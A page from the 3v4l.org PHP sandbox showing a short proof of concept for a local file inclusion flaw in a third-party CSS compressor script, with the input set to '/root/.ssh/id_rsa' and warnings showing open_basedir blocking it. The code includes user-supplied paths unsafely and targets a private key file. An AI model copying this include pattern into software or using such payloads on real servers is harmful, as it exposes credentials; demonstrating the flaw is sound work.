3v4l.org

run code in 300+ PHP versions simultaneously
<?php // User visits example.com/file_compressor.php?file=/dev/passwd $_GET['file'] = '/root/.ssh/id_rsa'; // Below is directly copied from https://raw.githubusercontent.com/camoufl4g3/PHP/master/file_compressor.php #https://twitter.com/ramal_h #file compressor header('Content-type: text/css'); ob_start("compress"); function compress( $minify ) { $minify = preg_replace( '!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $minify ); $minify = str_replace( array("\r\n", "\r", "\n", "\t", ' ', ' ', ' '), '', $minify ); return $minify; } $file = $_GET['file']; if( ($file == '') || (strpos($file, '../') !== false)) exit('Hacking attempt'); else include $_GET['file']; ob_end_flush();
Output for git.master, git.master_jit, rfc.property-hooks
Warning:include():open_basedirrestrictionineffect.File(/root/.ssh/id_rsa)isnotwithintheallowedpath(s):(/tmp:/in:/etc)in/in/ZCrOVonline26Warning:include(/root/.ssh/id_rsa):Failedtoopenstream:Operationnotpermittedin/in/ZCrOVonline26Warning:include():Failedopening'/root/.ssh/id_rsa'forinclusion(include_path='.:')in/in/ZCrOVonline26

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
23.98 ms | 402 KiB | 8 Q